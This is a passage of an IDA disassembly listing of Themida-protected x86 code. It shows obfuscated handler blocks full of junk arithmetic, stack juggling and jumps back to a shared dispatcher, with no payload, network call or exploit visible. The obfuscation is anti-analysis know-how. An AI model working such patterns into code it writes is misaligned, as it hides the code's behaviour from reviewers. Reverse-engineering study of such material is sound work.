xchg ebp, edx
pop ebp
sub edx, 8E7B9759h
mov ebp, edx
pop edx
inc ebp
sub esp, 4
mov [esp], ebx
mov ebx, 599104B1h
and ebp, ebx
jmp loc_586EB3
; ---------------------------------------------------------------------------
loc_5822B0: ; CODE XREF: Themida_:005845AAj
mov ebp, 76DB6C33h
jmp loc_588A66
; ---------------------------------------------------------------------------
loc_5822BA: ; CODE XREF: Themida_:0058C4D1j
mov ebx, esp
jmp loc_5880AB
; ---------------------------------------------------------------------------
loc_5822C1: ; CODE XREF: Themida_:0058BA2Ej
or eax, 54B2F53h
neg eax
shr eax, 2
xor eax, 0DBB33FE6h
mov esi, eax
jmp loc_587145
; ---------------------------------------------------------------------------
loc_5822D7: ; CODE XREF: Themida_:005870CAj
pop esi
push edi
mov edi, 4B387622h
xor esi, edi
pop edi
mov ebx, [esp]
add esp, 4
and eax, esi
mov esi, [esp]
add esp, 4
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
jmp loc_58BE31
; ---------------------------------------------------------------------------
loc_582301: ; CODE XREF: Themida_:0058494Ej
and edx, 406E6F79h
push 53CBh
mov [esp], eax
mov eax, 51D212DBh
not eax
sub eax, 53AE27C0h
xor eax, 5A77C370h
xor edx, eax
pop eax
jmp loc_58946E
; ---------------------------------------------------------------------------
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 6FDC30A9h
sub esp, 4
jmp loc_5826B7
; ---------------------------------------------------------------------------
loc_582344: ; CODE XREF: Themida_:00585816j
pop eax
push dword ptr [esp]
pop esi
push 24FCh
mov [esp], ebp
push esp
pop ebp
jmp loc_582DD2
; ---------------------------------------------------------------------------
loc_582358: ; CODE XREF: Themida_:00589619j
mov ebx, 4
add eax, ebx
pop ebx
xor eax, [esp]
jmp loc_58DA44
; ---------------------------------------------------------------------------
loc_582368: ; CODE XREF: Themida_:00581E56j
and edx, 60315B21h
inc edx
shl edx, 8
xor edx, 64D02021h
add ecx, edx
pop edx
jmp loc_585C4E
; ---------------------------------------------------------------------------
loc_582380: ; CODE XREF: Themida_:00582255j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5818C9
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
jmp loc_582555
; ---------------------------------------------------------------------------
loc_582399: ; CODE XREF: Themida_:005841D8j
mov esp, [esp]
xor ecx, 26DB6D8Ah
push ebp
jmp loc_582CF0
; ---------------------------------------------------------------------------
loc_5823A8: ; CODE XREF: Themida_:0058486Bj
push 6535h
jmp loc_581A5A
; ---------------------------------------------------------------------------
loc_5823B2: ; CODE XREF: Themida_:0058769Bj
xchg ecx, edi
push eax
push 66Fh
mov [esp], edi
mov eax, [esp]
push ebx
jmp loc_587E2E
; ---------------------------------------------------------------------------
loc_5823C6: ; CODE XREF: Themida_:00582621j
mov ebx, 90692096h
sub ebp, ebx
pop ebx
sub esi, ebp
jmp loc_586A2D
; ---------------------------------------------------------------------------
loc_5823D5: ; CODE XREF: Themida_:0058C40Bj
mov eax, 6EDB1039h
jmp loc_5886B0
; ---------------------------------------------------------------------------
loc_5823DF: ; CODE XREF: Themida_:0058889Cj
xor al, bh
pop ebx
push 2B8Dh
mov [esp], eax
mov ah, 7Ch
add bl, 0EBh
sub bl, ah
sub bl, 0EBh
jmp loc_583D05
; ---------------------------------------------------------------------------
loc_5823F9: ; CODE XREF: Themida_:0058B225j
mov esi, 4
mov ebx, esi
pop esi
jmp loc_582829
; ---------------------------------------------------------------------------
loc_582406: ; CODE XREF: Themida_:00589EA3j
push ecx
mov ch, 0F4h
not ch
shr ch, 1
sub ch, 0
neg ch
jmp loc_58B81E
; ---------------------------------------------------------------------------
loc_582417: ; CODE XREF: Themida_:00582B2Bj
xchg edi, [esp]
pop esp
add bl, al
add bl, 37h
sub bl, 9Fh
push ebx
push eax
push 51BD4ECAh
jmp loc_58BC3B
; ---------------------------------------------------------------------------
loc_58242F: ; CODE XREF: Themida_:00585329j
add esp, 4
add ebx, 413F38C0h
sub ebx, eax
push ebp
mov ebp, 751C277Ah
add ebp, 65B2729Eh
push ebp
not dword ptr [esp]
jmp loc_584707
; ---------------------------------------------------------------------------
loc_582452: ; CODE XREF: Themida_:0058B1E7j
add eax, ebp
pop ebp
push 15A7h
mov [esp], edi
mov edi, 58DA3D44h
add edi, 0DE43DF77h
add eax, edi
mov edi, [esp]
add esp, 4
jmp loc_58C773
; ---------------------------------------------------------------------------
loc_582478: ; CODE XREF: Themida_:00585D3Fj
pop ebx
add ecx, 0A9F3BABCh
add eax, ecx
pop ecx
push 768h
mov [esp], esi
mov esi, 2
add eax, esi
jmp loc_58688D
; ---------------------------------------------------------------------------
loc_582496: ; CODE XREF: Themida_:0058AB1Fj
add al, 82h
push ecx
mov ch, 89h
neg ch
shr ch, 7
and ch, 5Ch
or ch, 24h
or ch, 0AAh
push ebx
jmp loc_58A7B0
; ---------------------------------------------------------------------------
loc_5824AF: ; CODE XREF: Themida_:0058B547j
push dword ptr [esp]
jmp loc_583508
; ---------------------------------------------------------------------------
loc_5824B7: ; CODE XREF: Themida_:0058708Fj
mov ebp, esp
jmp loc_582859
; ---------------------------------------------------------------------------
loc_5824BE: ; CODE XREF: Themida_:0058C55Ej
push eax
mov eax, esp
jmp loc_581B94
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], eax
push esp
jmp loc_58C106
; ---------------------------------------------------------------------------
loc_5824D6: ; CODE XREF: Themida_:0058883Fj
pop esp
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5824DC: ; CODE XREF: Themida_:005828F7j
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ebp
mov ebp, 316A151Ah
push eax
mov eax, 316A151Eh
xor ebp, eax
jmp loc_583131
; ---------------------------------------------------------------------------
loc_5824FD: ; CODE XREF: Themida_:0058D788j
push ebp
mov ebp, 60882696h
jmp loc_58A964
; ---------------------------------------------------------------------------
loc_582508: ; CODE XREF: Themida_:0058D494j
push ecx
mov ecx, esp
jmp loc_588BB6
; ---------------------------------------------------------------------------
loc_582510: ; CODE XREF: Themida_:005877FBj
push small word ptr [eax]
jmp loc_58CFD9
; ---------------------------------------------------------------------------
loc_582518: ; CODE XREF: Themida_:0058578Aj
push dword ptr [esp+4]
pop eax
jmp loc_583604
; ---------------------------------------------------------------------------
loc_582522: ; CODE XREF: Themida_:00583184j
pop eax
jmp loc_589698
; ---------------------------------------------------------------------------
loc_582528: ; CODE XREF: Themida_:0058893Aj
xchg edi, ebp
pop edi
push eax
jmp loc_5862A1
; ---------------------------------------------------------------------------
loc_582531: ; CODE XREF: Themida_:005834E7j
mov edx, 4
add edi, edx
jmp loc_5858F1
; ---------------------------------------------------------------------------
loc_58253D: ; CODE XREF: Themida_:00589906j
push 5C0Ch
jmp loc_58DDCD
; ---------------------------------------------------------------------------
loc_582547: ; CODE XREF: Themida_:0058D33Dj
mov ax, [esp]
add esp, 2
not dl
jmp loc_584F69
; ---------------------------------------------------------------------------
loc_582555: ; CODE XREF: Themida_:00582394j
pop esi
jmp loc_5831A1
; ---------------------------------------------------------------------------
loc_58255B: ; CODE XREF: Themida_:00587E88j
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp], ebx
mov ebx, 23656316h
xor [esp+4], ebx
pop ebx
push dword ptr [esp]
pop eax
add esp, 4
push 7C12h
mov [esp], ebx
push edi
mov edi, 5DC06DBh
mov ebx, 26B965CDh
xor ebx, edi
mov edi, [esp]
add esp, 4
xor eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
movzx ax, byte ptr [eax]
push small 1898h
mov [esp], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5825B5: ; CODE XREF: Themida_:00589539j
pop ebp
jmp loc_585D44
; ---------------------------------------------------------------------------
loc_5825BB: ; CODE XREF: Themida_:00586DA2j
not edi
sub edi, 18AA7C84h
add edi, 0B5A91A9h
sub eax, edi
jmp loc_584CE2
; ---------------------------------------------------------------------------
loc_5825D0: ; CODE XREF: Themida_:005835E3j
push 3C8Bh
mov [esp], esi
mov esi, 547D0372h
jmp loc_588204
; ---------------------------------------------------------------------------
loc_5825E2: ; CODE XREF: Themida_:0058A354j
sub eax, 7E2E79D5h
pop ecx
push 5EF9h
mov [esp], esi
jmp loc_58D038
; ---------------------------------------------------------------------------
loc_5825F5: ; CODE XREF: Themida_:00584928j
xor [esp], ecx
jmp loc_58D63D
; ---------------------------------------------------------------------------
loc_5825FD: ; CODE XREF: Themida_:00581CDCj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582602: ; CODE XREF: Themida_:0058734Dj
pop edi
xchg ecx, [esp]
mov esp, [esp]
jmp loc_584882
; ---------------------------------------------------------------------------
loc_58260E: ; CODE XREF: Themida_:0058DCB2j
xor eax, esi
push dword ptr [esp]
jmp loc_584962
; ---------------------------------------------------------------------------
loc_582618: ; CODE XREF: Themida_:0058307Aj
shr ecx, 6
jmp loc_582BFA
; ---------------------------------------------------------------------------
loc_582620: ; CODE XREF: Themida_:00582A6Dj
push ebx
jmp loc_5823C6
; ---------------------------------------------------------------------------
loc_582626: ; CODE XREF: Themida_:0058DC9Ej
mov [esp], ecx
mov ch, al
jmp loc_58CD05
; ---------------------------------------------------------------------------
loc_582630: ; CODE XREF: Themida_:0058BF74j
shl edx, 2
sub edx, 253FAA22h
add ecx, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 544D1E2Fh
or eax, 1E9B45E7h
sub eax, 0FFFFFFFFh
sub eax, 44EEF687h
jmp loc_58A80C
; ---------------------------------------------------------------------------
loc_582666: ; CODE XREF: Themida_:005835FAj
mov ebp, 6DD802F4h
add [esp+4], ebp
jmp loc_58199F
; ---------------------------------------------------------------------------
loc_582674: ; CODE XREF: Themida_:00583A42j
add al, ch
pop ecx
add al, cl
sub al, 2Ah
add al, 0Eh
sub al, 82h
pop cx
sub bl, 94h
add bl, 6
sub bl, 3
jmp loc_584826
; ---------------------------------------------------------------------------
loc_58268F: ; CODE XREF: Themida_:0058C07Ej
sub edi, 456A5989h
pop edx
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_58DE36
; ---------------------------------------------------------------------------
loc_5826A4: ; CODE XREF: Themida_:005864BEj
push ecx
mov ecx, 188D71D5h
neg ecx
and ecx, 20A56D28h
jmp loc_587F36
; ---------------------------------------------------------------------------
loc_5826B7: ; CODE XREF: Themida_:0058233Fj
mov [esp], ebx
jmp loc_587C17
; ---------------------------------------------------------------------------
loc_5826BF: ; CODE XREF: Themida_:00586CD5j
sub esp, 4
jmp loc_589386
; ---------------------------------------------------------------------------
loc_5826C7: ; CODE XREF: Themida_:0058DFB6j
mov edx, [esp]
add esp, 4
add edx, 4
push edi
push ecx
mov ecx, 2FF34B6Bh
mov edi, 0D00CB499h
jmp loc_5880F9
; ---------------------------------------------------------------------------
loc_5826E7: ; CODE XREF: Themida_:00587BA3j
mov dh, 9
sub bl, dh
jmp loc_5845AF
; ---------------------------------------------------------------------------
loc_5826F0: ; CODE XREF: Themida_:0058D375j
pop dword ptr [esp]
pop esp
push 6126h
mov [esp], ebx
push 3829h
mov [esp], ecx
push ebx
push ecx
mov cl, 2Fh
mov bl, cl
pop ecx
jmp loc_58C2E4
; ---------------------------------------------------------------------------
loc_582710: ; CODE XREF: Themida_:005877E2j
mov [esp], ebx
jmp near ptr loc_58D08D+1
; ---------------------------------------------------------------------------
loc_582718: ; CODE XREF: Themida_:00586509j
push ebx
push 26676DF0h
pop ebx
jmp loc_58548F
; ---------------------------------------------------------------------------
loc_582724: ; CODE XREF: Themida_:0058CDB0j
push ebx
mov ebx, esp
sub esp, 4
mov [esp], eax
mov eax, 29C6326Dh
shl eax, 4
push edx
jmp loc_58DD66
; ---------------------------------------------------------------------------
loc_58273E: ; CODE XREF: Themida_:0058B1C8j
push ebx
push ecx
mov cl, 8Fh
jmp loc_5895C0
; ---------------------------------------------------------------------------
loc_582747: ; CODE XREF: Themida_:00586262j
push 1
pop edx
push 149Dh
mov [esp], ecx
mov ecx, 24h
add ecx, edi
push eax
mov eax, 2012162Ch
add eax, 0DFEDE9D4h
add eax, ecx
add [eax], edx
pop eax
mov ecx, [esp]
jmp loc_58469E
; ---------------------------------------------------------------------------
loc_582774: ; CODE XREF: Themida_:0058AF1Fj
xor [esp], esi
xor esi, [esp]
pop esp
sub esp, 4
mov [esp], ebp
mov ebp, esp
push eax
mov eax, 4
jmp loc_5880E9
; ---------------------------------------------------------------------------
loc_58278E: ; CODE XREF: Themida_:005844A1j
push edx
push ebp
mov ebp, 8CF0FE0h
neg ebp
sub ebp, 7363EE90h
push ebp
pop edx
pop ebp
push edx
pop ebp
mov edx, [esp]
jmp loc_58D551
; ---------------------------------------------------------------------------
loc_5827AA: ; CODE XREF: Themida_:005857DAj
push edx
add dword ptr [esp], 1
pop edx
jmp loc_58DCA3
; ---------------------------------------------------------------------------
loc_5827B5: ; CODE XREF: Themida_:00583580j
mov [esp], esp
jmp loc_581FFC
; ---------------------------------------------------------------------------
loc_5827BD: ; CODE XREF: Themida_:00588B71j
or ecx, 6BB2D41h
add ecx, 0CDD4FEh
jmp loc_58D237
; ---------------------------------------------------------------------------
loc_5827CE: ; CODE XREF: Themida_:005857F2j
push bx
mov bl, 5Eh
add ch, bl
jmp loc_589C83
; ---------------------------------------------------------------------------
loc_5827D9: ; CODE XREF: Themida_:0058B9ADj
push esi
push 42DFh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5832E7
; ---------------------------------------------------------------------------
loc_5827EE: ; CODE XREF: Themida_:00589FDDj
xor ecx, 3D9E60CFh
sub ebx, ecx
pop ecx
sub ebx, ebp
add ebx, 355E449Ah
jmp loc_58DB0A
; ---------------------------------------------------------------------------
loc_582804: ; CODE XREF: Themida_:00586432j
dec bl
mov dl, bl
pop bx
push ecx
jmp loc_586F0E
; ---------------------------------------------------------------------------
loc_582810: ; CODE XREF: Themida_:0058BE6Dj
push esi
mov esi, 13840480h
jmp loc_5843A9
; ---------------------------------------------------------------------------
loc_58281B: ; CODE XREF: Themida_:00584CDDj
push ebp
jmp loc_583CC8
; ---------------------------------------------------------------------------
loc_582821: ; CODE XREF: Themida_:0058934Ej
mov [esp], edx
jmp loc_58941D
; ---------------------------------------------------------------------------
loc_582829: ; CODE XREF: Themida_:00582401j
add eax, ebx
pop ebx
xchg eax, [esp]
pop esp
jmp loc_58A1AB
; ---------------------------------------------------------------------------
loc_582835: ; CODE XREF: Themida_:0058CD8Fj
push ax
mov ah, ch
jmp loc_58A7BD
; ---------------------------------------------------------------------------
loc_58283E: ; CODE XREF: Themida_:00581E43j
xchg esi, [esp]
pop esp
push ebp
mov ebp, 2
add ebx, ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_581CD5
; ---------------------------------------------------------------------------
loc_582859: ; CODE XREF: Themida_:005824B9j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_587366
; ---------------------------------------------------------------------------
loc_58286E: ; CODE XREF: Themida_:0058CD30j
add esp, 4
jmp loc_58CC17
; ---------------------------------------------------------------------------
loc_582876: ; CODE XREF: Themida_:00587B4Bj
sub esi, eax
pop eax
jmp loc_581933
; ---------------------------------------------------------------------------
loc_58287E: ; CODE XREF: Themida_:0058B760j
push esi
push esp
jmp loc_585CAE
; ---------------------------------------------------------------------------
loc_582885: ; CODE XREF: Themida_:005899CBj
push eax
mov eax, 4
jmp loc_58DF9E
; ---------------------------------------------------------------------------
loc_582890: ; CODE XREF: Themida_:00584699j
mov eax, 1
add ebp, eax
jmp loc_588E1E
; ---------------------------------------------------------------------------
loc_58289C: ; CODE XREF: Themida_:0058C8ABj
mov [esp], ebp
push 28CFh
mov [esp], edi
push 22D27368h
pop edi
push ebp
push eax
jmp loc_582E7A
; ---------------------------------------------------------------------------
loc_5828B4: ; CODE XREF: Themida_:0058D2D1j
push ebx
mov ebx, 754C4AC5h
mov ecx, 7A65046Dh
xor ecx, ebx
mov ebx, [esp]
add esp, 4
neg ecx
sub ecx, 0FFFFFFFFh
xor ecx, 999D8C5Fh
sub eax, ecx
mov ecx, [esp]
add esp, 4
add eax, 7C361E58h
add eax, 0BD26722h
jmp loc_5830A6
; ---------------------------------------------------------------------------
loc_5828EF: ; CODE XREF: Themida_:005870F9j
mov ebp, ecx
jmp loc_58AB7F
; ---------------------------------------------------------------------------
loc_5828F6: ; CODE XREF: Themida_:00589E89j
push esp
jmp loc_5824DC
; ---------------------------------------------------------------------------
loc_5828FC: ; CODE XREF: Themida_:0058CCB6j
add al, bh
sub al, 35h
add al, 64h
jmp loc_58B7FB
; ---------------------------------------------------------------------------
loc_582907: ; CODE XREF: Themida_:005888DDj
mov dh, bh
mov ch, dh
pop edx
pop ebx
add bl, 85h
add bl, ch
push eax
jmp loc_5866B2
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582922: ; CODE XREF: Themida_:00582D63j
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_589573
; ---------------------------------------------------------------------------
loc_582933: ; CODE XREF: Themida_:00582275j
sub eax, esi
add eax, 541712BBh
sub eax, 1B361EB7h
jmp loc_583BC5
; ---------------------------------------------------------------------------
loc_582944: ; CODE XREF: Themida_:005872F7j
sub si, ax
xchg ax, si
pop si
sub ax, 0BAA9h
mov dx, ax
pop eax
xor dx, 782Eh
add bx, dx
mov edx, [esp]
add esp, 4
jmp loc_58CD85
; ---------------------------------------------------------------------------
loc_582966: ; CODE XREF: Themida_:00582A8Bj
mov bh, 91h
and bh, 17h
sub bh, 0CAh
neg bh
neg bh
add bh, 0E2h
jmp loc_5868CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_58297A: ; CODE XREF: sub_5F0C13-6AFD1j
xor bl, 0Ch
add al, bl
pop ebx
jmp loc_585CC6
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_582985: ; CODE XREF: Themida_:0058BA68j
pop dword ptr [esp]
push esi
push 4
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub dword ptr [esp+4], 7A0845ECh
jmp loc_58700F
; ---------------------------------------------------------------------------
loc_5829B1: ; CODE XREF: Themida_:00584F28j
sub edx, ebp
jmp loc_58C92D
; ---------------------------------------------------------------------------
loc_5829B8: ; CODE XREF: Themida_:005884D9j
sub esi, 645E6B85h
shl esi, 2
sub esi, 6FD672AAh
mov ebx, esi
pop esi
mov ecx, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_58862D
; ---------------------------------------------------------------------------
loc_5829E0: ; CODE XREF: Themida_:0058B93Aj
xor [esp], ebx
xor ebx, [esp]
jmp loc_58B338
; ---------------------------------------------------------------------------
loc_5829EB: ; CODE XREF: Themida_:00583B03j
pop dword ptr [esp]
not ebx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esi, [esp]
jmp loc_586A52
; ---------------------------------------------------------------------------
loc_582A01: ; CODE XREF: Themida_:0058A0A2j
pop esp
mov [esp], ebx
push esp
jmp loc_58BB0B
; ---------------------------------------------------------------------------
loc_582A0B: ; CODE XREF: Themida_:00588BB1j
pop esi
jmp loc_58AB9B
; ---------------------------------------------------------------------------
loc_582A11: ; CODE XREF: Themida_:00585943j
push ebx
push ebp
mov ebp, 797A3AB3h
mov ebx, 0D09E9E16h
sub ebx, ebp
pop ebp
xor ebx, 517877BEh
mov ebp, ebx
pop ebx
push ebx
jmp loc_582180
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 62F0h
mov [esp], ecx
mov ecx, esp
jmp loc_587689
; ---------------------------------------------------------------------------
loc_582A42: ; CODE XREF: Themida_:0058A218j
not edi
xor edi, 0C0FBA33Fh
add eax, edi
pop edi
add eax, edi
sub eax, 0A2B2161h
pop edi
push ebx
mov ebx, 2
add eax, ebx
pop ebx
xchg eax, [esp]
jmp loc_586367
; ---------------------------------------------------------------------------
loc_582A66: ; CODE XREF: Themida_:0058D927j
mov ebp, 430F6366h
neg ebp
jmp loc_582620
; ---------------------------------------------------------------------------
loc_582A72: ; CODE XREF: Themida_:005840C5j
push edx
mov edx, 288B0C4Bh
sub edx, 1A79407Ch
push 0
jmp loc_58CDB5
; ---------------------------------------------------------------------------
loc_582A88: ; CODE XREF: Themida_:0058AC4Aj
neg dl
push ebx
jmp loc_582966
; ---------------------------------------------------------------------------
loc_582A90: ; CODE XREF: Themida_:0058A3EAj
mov eax, esp
jmp loc_585584
; ---------------------------------------------------------------------------
loc_582A97: ; CODE XREF: Themida_:00584E78j
neg edi
xor edi, 15D25EEDh
add edi, 35883015h
jmp loc_5882A8
; ---------------------------------------------------------------------------
loc_582AAA: ; CODE XREF: Themida_:00584691j
pop edx
jmp loc_58B43E
; ---------------------------------------------------------------------------
loc_582AB0: ; CODE XREF: Themida_:00585E07j
sub edi, ecx
pop ecx
add ecx, edi
pop edi
pop esi
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
xchg ecx, [esp]
jmp loc_586798
; ---------------------------------------------------------------------------
loc_582AC8: ; CODE XREF: Themida_:00584981j
xchg ebx, [esp]
pop esp
sub eax, edx
jmp loc_5895A7
; ---------------------------------------------------------------------------
loc_582AD3: ; CODE XREF: Themida_:00588032j
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 10ED267Dh
xor ecx, 0F3E1142h
shr ecx, 7
sub ecx, 3FA66Ah
add edi, ecx
mov ecx, [esp]
sub esp, 4
jmp loc_58C69E
; ---------------------------------------------------------------------------
loc_582B01: ; CODE XREF: Themida_:00585A88j
push eax
mov eax, 6A951B9Eh
dec eax
xor eax, 6CC087Ch
jmp loc_581D8E
; ---------------------------------------------------------------------------
loc_582B12: ; CODE XREF: Themida_:00589594j
shr al, 5
xor al, 31h
sub bl, al
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_582417
; ---------------------------------------------------------------------------
loc_582B30: ; CODE XREF: Themida_:0058453Fj
mov esi, [esp]
jmp loc_5855A5
; ---------------------------------------------------------------------------
loc_582B38: ; CODE XREF: Themida_:00588997j
push eax
pushf
jmp loc_587BC8
; ---------------------------------------------------------------------------
loc_582B3F: ; CODE XREF: Themida_:005819F3j
shl eax, 6
xor eax, 0E4775444h
add ecx, eax
pop eax
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_5846FD
; ---------------------------------------------------------------------------
loc_582B5E: ; CODE XREF: Themida_:0058C217j
mov ebx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub bl, cl
pop cx
jmp loc_5844A6
; ---------------------------------------------------------------------------
loc_582B7D: ; CODE XREF: Themida_:0058AB83j
xor ebp, 54B153B4h
jmp loc_58C911
; ---------------------------------------------------------------------------
loc_582B88: ; CODE XREF: Themida_:0058B2BCj
xchg eax, [esp]
jmp loc_589F4E
; ---------------------------------------------------------------------------
loc_582B90: ; CODE XREF: Themida_:00583773j
pop esp
cmp ecx, eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582B99: ; CODE XREF: Themida_:005859D7j
push 131Dh
mov [esp], ebx
mov ebx, 1
sub edx, 180D1FDEh
add edx, ebx
add edx, 180D1FDEh
pop ebx
push edi
jmp loc_585AF5
; ---------------------------------------------------------------------------
loc_582BBB: ; CODE XREF: Themida_:00587F25j
pop ebp
pop edx
jmp loc_58909F
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, esp
add ecx, 4
push edx
push ecx
mov ecx, 4AA242BCh
mov edx, 79E4643Dh
sub edx, ecx
pop ecx
xor edx, 3ED87F95h
xor edx, 119A5E10h
sub ecx, edx
jmp loc_585E7F
; ---------------------------------------------------------------------------
loc_582BFA: ; CODE XREF: Themida_:0058261Bj
push eax
mov eax, 695061BFh
xor eax, 51804DE8h
sub ecx, eax
pop eax
add ecx, 4B4803E1h
sub ecx, 14C0168Ah
add ebx, ecx
pop ecx
add ebx, 4
jmp loc_5865D8
; ---------------------------------------------------------------------------
loc_582C1F: ; CODE XREF: Themida_:00588822j
push 76CFh
mov [esp], edi
mov edi, esp
jmp loc_58A9AC
; ---------------------------------------------------------------------------
loc_582C2E: ; CODE XREF: Themida_:0058AF73j
mov ecx, 1D823D19h
not ecx
jmp loc_588B65
; ---------------------------------------------------------------------------
loc_582C3A: ; CODE XREF: Themida_:00586495j
mov ebp, 19901165h
jmp loc_582EC6
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582C4C: ; CODE XREF: Themida_:0058AA02j
mov edx, 389456B1h
sub eax, 12315C4Ch
add eax, edx
jmp loc_584399
; ---------------------------------------------------------------------------
loc_582C5D: ; CODE XREF: Themida_:005852BBj
add esp, 4
sub edx, eax
push esi
mov esi, 0C1829A3h
add edx, esi
pop esi
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582C70: ; CODE XREF: Themida_:00587128j
push 23A7h
mov [esp], edi
push edx
jmp loc_58B3CB
; ---------------------------------------------------------------------------
loc_582C7E: ; CODE XREF: Themida_:0058C9F7j
mov esi, 64386DE2h
shr esi, 2
not esi
dec esi
inc esi
sub esi, 0E6F1E483h
sub ebx, esi
pop esi
xor ebx, [esp]
jmp loc_585A49
; ---------------------------------------------------------------------------
loc_582C9B: ; CODE XREF: Themida_:00586068j
push edx
mov dl, bl
mov [edi+eax*4+1], dl
pop edx
push dword ptr [esp]
jmp loc_588D7A
; ---------------------------------------------------------------------------
loc_582CAB: ; CODE XREF: Themida_:0058A794j
mov [esp], ebx
mov ebx, esp
push 3BE1h
mov [esp], ecx
push ebx
mov ebx, 6E633E2Ah
mov ecx, 0C27C5A82h
sub ecx, ebx
mov ebx, [esp]
add esp, 4
push ecx
xchg ebx, [esp]
jmp loc_582DEC
; ---------------------------------------------------------------------------
loc_582CD4: ; CODE XREF: Themida_:0058A178j
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 3C9649F3h
mov ebx, ebp
jmp loc_584491
; ---------------------------------------------------------------------------
loc_582CEA: ; CODE XREF: Themida_:005855C0j
push ebp
jmp loc_58CB48
; ---------------------------------------------------------------------------
loc_582CF0: ; CODE XREF: Themida_:005823A3j
push ecx
push eax
mov eax, 4A026BDDh
mov ecx, eax
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4EEA3BD8h
dec eax
not eax
jmp loc_58CC68
; ---------------------------------------------------------------------------
loc_582D13: ; CODE XREF: Themida_:0058D0D3j
xchg edi, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582D23: ; CODE XREF: Themida_:00586C69j
pop esp
mov [esp], eax
mov eax, 2
add edx, 3E8747E7h
add edx, eax
sub edx, 3E8747E7h
push dword ptr [esp]
jmp loc_58908E
; ---------------------------------------------------------------------------
loc_582D42: ; CODE XREF: Themida_:005847FFj
inc eax
jmp loc_58DCD4
; ---------------------------------------------------------------------------
mov cx, [esp]
push 37DAh
jmp loc_581BF5
; ---------------------------------------------------------------------------
loc_582D56: ; CODE XREF: Themida_:0058D4B1j
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_582922
; ---------------------------------------------------------------------------
loc_582D68: ; CODE XREF: Themida_:00589C73j
push edx
jmp loc_58C22D
; ---------------------------------------------------------------------------
loc_582D6E: ; CODE XREF: Themida_:00585FCCj
pop dword ptr [esp]
mov esp, [esp]
add ecx, 4
jmp loc_586D1E
; ---------------------------------------------------------------------------
loc_582D7F: ; CODE XREF: Themida_:00589FA5j
inc esi
sub esi, 70F767FBh
shr esi, 7
and esi, 14DB7200h
jmp loc_58A872
; ---------------------------------------------------------------------------
loc_582D94: ; CODE XREF: Themida_:005858A2j
sub ebp, eax
sub ebp, 0F935E9Ah
pop eax
jmp loc_584C37
; ---------------------------------------------------------------------------
loc_582DA2: ; CODE XREF: Themida_:00584BB3j
pop edx
sub eax, 4
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_58A79F
; ---------------------------------------------------------------------------
loc_582DB9: ; CODE XREF: Themida_:00583F5Ej
sub esp, 4
mov [esp], esi
mov esi, ebx
jmp loc_58198E
; ---------------------------------------------------------------------------
loc_582DC6: ; CODE XREF: Themida_:00583648j
mov eax, 3D00177Fh
xor edx, eax
jmp loc_58C9A2
; ---------------------------------------------------------------------------
loc_582DD2: ; CODE XREF: Themida_:00582353j
add ebp, 4
jmp loc_58A154
; ---------------------------------------------------------------------------
loc_582DDD: ; CODE XREF: Themida_:00581B8Fj
shr ebx, 5
xor ebx, 117D6552h
push edx
jmp loc_581E51
; ---------------------------------------------------------------------------
loc_582DEC: ; CODE XREF: Themida_:00582CCFj
not ebx
xchg ebx, [esp]
pop ecx
add ecx, 54191C5Dh
jmp loc_58CBF1
; ---------------------------------------------------------------------------
loc_582DFD: ; CODE XREF: Themida_:0058AF48j
mov dh, ah
mov bl, dh
jmp loc_583E3D
; ---------------------------------------------------------------------------
loc_582E06: ; CODE XREF: Themida_:00581C0Ej
mov edx, 3B19504Ch
push 4148h
mov [esp], eax
mov eax, 193C7EFEh
or edx, eax
pop eax
push edx
inc dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_588AAC
; ---------------------------------------------------------------------------
loc_582E2D: ; CODE XREF: Themida_:005837F9j
